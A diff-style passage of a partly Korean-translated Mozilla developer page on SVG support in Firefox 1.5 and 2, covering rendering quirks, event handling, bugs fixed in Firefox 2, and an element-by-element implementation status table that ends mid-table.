+<p>그룹 opacity는 현재 <code> &lt;g&gt;</code>에만 구현되어 있으며 <code>&lt;text&gt;</code>나 <code>&lt;svg&gt;</code>는 구현되어 있지 않습니다.</p>
+<h2 id=".ED.8F.B0.ED.8A.B8_.EA.B8.B0.EC.9A.B8.EC.9D.B4.EA.B8.B0" name=".ED.8F.B0.ED.8A.B8_.EA.B8.B0.EC.9A.B8.EC.9D.B4.EA.B8.B0">폰트 기울이기</h2>
+<p>Microsoft Windows나 Mac OSX 플랫폼상에서는 문장의 기울였을때 내부의 채워짐이 정확히 일치하지 않습니다. 이 오차는 보통 매우 작은데 약간 더 기울이거나 함으로써 해결할 수 있습니다. 이 오차에 대한 예입니다:</p>
+<p><img alt="그림:그림-text-fill-stroke.png"></p>
+<h2 id=".3Cimage.3E" name=".3Cimage.3E"><code>&lt;image&gt;</code></h2>
+<p><code>&lt;image&gt;</code>는 Firefox 1.5의 SVG 이미지들에는 지원되지 않습니다; 대신에 Firefox에서 사용되는 유일한 raster 이미지 포맷입니다.</p>
+<p><code>&lt;image&gt;</code>의 모든 인스터스들은 사용되는 이미지와는 별도의 복사본을 가지는데 이는 만약 컨텐츠내에 아이콘과 같은 이미지에 대해 다수의 복사본을 사용한다면 새겨두어야 할 부분입니다. 안타깝게도 이 경우에 <code>&lt;image&gt;</code>의 <code>&lt;use&gt;</code>는 또 다른 다른 복사본으로 간주합니다.</p>
+<p>덧붙여, Firefox 1.5에서는 SVG에서 다수의 raster 이미지를 사용하면 성능히 심각하게 떨어질 수 있습니다.</p>
+<h2 id="Events" name="Events">Events</h2>
+<p>We support the SVG event attributes with the exception of <code>onfocusin</code>, <code>onfocusout</code>, and <code>onactivate</code>.</p>
+<p>Our <code>onload</code> handling is currently somewhat nonstandard, but hopefully not in a way that hurts its use. While the code specified by the <code>onload</code> attribute is called for each element, an <code>SVGLoad</code> event is only fired for the root <code>&lt;svg&gt;</code> element. Some DOM methods will return garbage or an error if called before the corresponding element has been rendered, which you may need to take into account when writing <code>onload</code> code. Such methods are <code>getBBox</code>, <code>getScreenCTM</code>, etc.</p>
+<p>We do not support the Adobe specific key events (<code>onkeydown</code>, <code>onkeyup</code>).</p>
+<h2 id="Interoperability" name="Interoperability">Interoperability</h2>
+<p>If you're working with current SVG content, you may encounter problems loading it into Firefox. Most of the problems tend to be fairly trivial, and are the result of Firefox being a stricter implementation. Jonathan Watt's <a class="external" href="http://jwatt.org/svg/authoring/">SVG Authoring Guidelines</a> explains the common problems.</p>
+<h2 id="SVG_usage_situations" name="SVG_usage_situations">SVG usage situations</h2>
+<p>Firefox 1.5 handles SVG as entire documents or when referenced by <code>embed</code>, <code>object</code>, or <code>iframe</code>. It cannot currently be used as source for an HTML or XHTML <code>img</code> element or for CSS properties that take an image reference.</p>
+<h2 id="Animation" name="Animation">Animation</h2>
+<p>Firefox 1.5 does not implement declarative animation, but does support dynamic scripting. Doug Shepers has used this to create <a class="external" href="http://www.vectoreal.com/smilscript/">SmilScript</a>, a small Javascript library that implements a subset of SVG's declarative animation.</p>
+<h2 id="Bugs_fixed_in_Firefox_2" name="Bugs_fixed_in_Firefox_2">Bugs fixed in Firefox 2</h2>
+<p>Firefox 2 fixes some bugs in its SVG implementation. This section provides a quick overview of the most interesting ones.</p>
+<ul>
+ <li>A problem filling and stroking text in which the drawing position isn't reset correctly between the two operations has been fixed (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=333615">333615</a>).</li>
+</ul>
+<ul>
+ <li>Radial gradients now properly clamp the <code>fx</code> and <code>fy</code> attributes to ensure that they're within the circumference of a circle (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=330682">330682</a>).</li>
+</ul>
+<ul>
+ <li>Text spans' and text elements' lengths can now be computed using their <code>getComputedTextLength()</code> methods, which improves compatibility with certain web sites (bugs <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311031">311031</a> and <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=264380">264380</a>).</li>
+</ul>
+<ul>
+ <li><code>&lt;tspan&gt;</code> elements now properly support the <code>dx</code> and <code>dy</code> attributes, and work if the <code>x</code> and <code>y</code> attributes aren't specified (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311063">311063</a>).</li>
+</ul>
+<ul>
+ <li>Improved invalidation logic on redraws, which prevents dropped pixels in certain cases (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312269">312269</a>).</li>
+</ul>
+<ul>
+ <li>Fixed a bug that prevented events from being handled properly for objects exposed by the clip path of another object (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=315861">315861</a>).</li>
+</ul>
+<ul>
+ <li>Fixed a bug that would crash if a <code>&lt;path&gt;</code> element had a <code>d</code> attribute with an empty string (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=318379">318379</a>).</li>
+</ul>
+<ul>
+ <li>The <code>overflow</code> attribute now works for the <code>marker</code> element, using the syntax <code>overflow="visible"</code>, which did not previously work correctly (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=320623">320623</a>).</li>
+</ul>
+<ul>
+ <li>You can now access the <code>&lt;style&gt;</code> attribute of <code>marker</code> elements without throwing an exception (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=323589">323589</a>).</li>
+</ul>
+<ul>
+ <li>You can now use percent values for the radius of a radial gradient (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=323669">323669</a>).</li>
+</ul>
+<ul>
+ <li>The <code>documentElement.createSVGAngle()</code> method is now implemented (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=327437">327437</a>).</li>
+</ul>
+<ul>
+ <li>Making a <code>&lt;stop&gt;</code> element a child of another <code>&lt;stop&gt;</code> element no longer asserts (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=328137">328137</a>).</li>
+</ul>
+<ul>
+ <li>Changes to the height and width of markers, as well as to the orientation of the marker, now work (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=325728">325728</a>).</li>
+</ul>
+<ul>
+ <li>Font sizes when printing on Windows are no longer much larger than specified for SVG (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=314707">314707</a>).</li>
+</ul>
+<h2 id="Element_implementation_status" name="Element_implementation_status">Element implementation status</h2>
+<table style="margin: 5px;">
+ <tbody>
+  <tr>
+   <th><b>Element</b></th>
+   <th><b>Notes</b></th>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#basic-structure-mod">Structure Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SVGElement">svg</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li><code>currentScale</code> and <code>currentTranslate</code> DOM attributes are implemented, but there is no pan and zoom user interface.</li>
+     <li>SVGSVGElement
+      <ul>
+       <li>Unimplemented attributes: contentScriptType, contentStyleType, viewport, useCurrentView, currentView</li>
+       <li>Unimplemented bindings: pauseAnimations, unpauseAnimations, animationsPaused, getCurrentTime, setCurrentTime, getIntersectionList, getEnclosureList, checkIntersection, checkEnclosure, deselectAll, createSVGAngle, getElementById</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#GElement">g</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#DefsElement">defs</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#DescElement">desc</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li>Only stored in the DOM, no user interface.&lt;/td&gt;</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#TitleElement">title</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/metadata.html#MetadataElement">metadata</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li>Only stored in the DOM, no user interface.&lt;/td&gt;</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SymbolElement">symbol</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#UseElement">use</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li>Only works for internal document references (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=269482">bug 269482</a>).</li>
+     <li>Doesn't completely follow &lt;svg:use&gt; cascading rules (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=265894">bug 265894</a>).</li>
+     <li>Doesn't deliver events to a SVGElementInstance tree (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=265895">bug 265895</a>).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#conditional-mod">Conditional Processing Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SwitchElement">switch</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#image-mod">Image Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#ImageElement">image</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li>Only works for raster images (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=272288">bug 272288</a>).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/styling.html#style-mod">Style Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/styling.html#StyleElement">style</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#shape-mod">Shape Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/paths.html#PathElement">path</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li>SVGPathElement Interface
+      <ul>
+       <li>Unimplemented attributes: pathLength, normalizedPathSegList, animatedPathSegList, animatedNormalizedPathSegList</li>
+       <li>Unimplemented bindings: getTotalLength, getPointAtLength, getPathSegAtLength</li>
+      </ul>
+     </li>
+     <li>SVGPathSegList Interface
+      <ul>
+       <li>Unimplemented bindings: replaceItem()</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#RectElement">rect</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#CircleElement">circle</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#LineElement">line</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#EllipseElement">ellipse</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#PolylineElement">polyline</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#PolygonElement">polygon</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/text.html#text-mod">Text Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TextElement">text</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li>SVGTextElement
+      <ul>
+       <li>Unimplemented attributes: rotate, textLength, lengthAdjust</li>
+       <li>Unimplemented bindings: getNumberOfChars, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString</li>
+       <li>Bindings not functional at <code>onload</code> time: getExtentOfChar</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TSpanElement">tspan</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li>SVGTSpanElement
+      <ul>
+       <li>Unimplemented attributes: rotate, textLength, lengthAdjust</li>
+       <li>Unimplemented bindings: getNumberOfChars, getComputedTextLength, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getExtentOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TRefElement">tref</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TextPathElement">textPath</a></td>
+   <td>
+    <ul>
+     <li>Implemented in Firefox 2.</li>
+     <li>Unimplemented attributes: method, spacing, textLength, lengthAdjust</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphElement">altGlyph</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphDefElement">altGlyphDef</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphItemElement">altGlyphItem</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#GlyphRefElement">glyphRef</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#marker-mod">Marker Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#MarkerElement">marker</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/color.html#color-profile-mod">Color Profile Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/color.html#ColorProfileElement">color-profile</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#gradient-mod">Gradient Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#LinearGradientElement">linearGradient</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#RadialGradientElement">radialGradient</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#StopElement">stop</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#pattern-mod">Pattern Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElement">pattern</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#clip-mod">Clip Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#ClipPathElement">clipPath</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+     <li>Won't handle clip paths with have elements with different clip-rule properties or that reference other clipPaths. (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=267224">bug 267224</a>).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#mask-mod">Mask Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#MaskElement">mask</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#filter-mod">Filter Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#FilterElement">filter</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feBlendElement">feBlend</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixElement">feColorMatrix</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feComponentTransferElement">feComponentTransfer</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feCompositeElement">feComposite</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElement">feConvolveMatrix</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDiffuseLightingElement">feDiffuseLighting</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDisplacementMapElement">feDisplacementMap</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFloodElement">feFlood</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feGaussianBlurElement">feGaussianBlur</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feImageElement">feImage</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMergeElement">feMerge</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMergeNodeElement">feMergeNode</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMorphologyElement">feMorphology</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feOffsetElement">feOffset</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feSpecularLightingElement">feSpecularLighting</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feTileElement">feTile</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feTurbulenceElement">feTurbulence</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDistantLightElement">feDistantLight</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#fePointLightElement">fePointLight</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feSpotLightElement">feSpotLight</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncRElement">feFuncR</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncGElement">feFuncG</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncBElement">feFuncB</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncAElement">feFuncA</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/interact.html#cursor-mod">Cursor Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/interact.html#CursorElement">cursor</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#hyperlinking-mod">Hyperlinking Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#AElement">a</a></td>
+   <td>
+    <ul>
+     <li>Implemented as an XBL binding - object is not of type SVGAElement.</li>
+     <li>Only <code>xlink:href</code>, <code>xlink:show</code>, and <code>xlink:target</code> (as of Firefox 2) attributes implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#view-mod">View Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#ViewElement">view</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/script.html#scripting-mod">Scripting Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/script.html#ScriptElement">script</a></td>
+   <td>
+    <ul>
+     <li>Implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#animation-mod">Animation Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateElement">animate</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#SetElement">set</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateMotionElement">animateMotion</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateTransformElement">animateTransform</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateColorElement">animateColor</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#mpathElement">mpath</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#font-mod">Font Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceElement">font</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#GlyphElement">glyph</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#MissingGlyphElement">missing-glyph</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#HKernElement">hkern</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
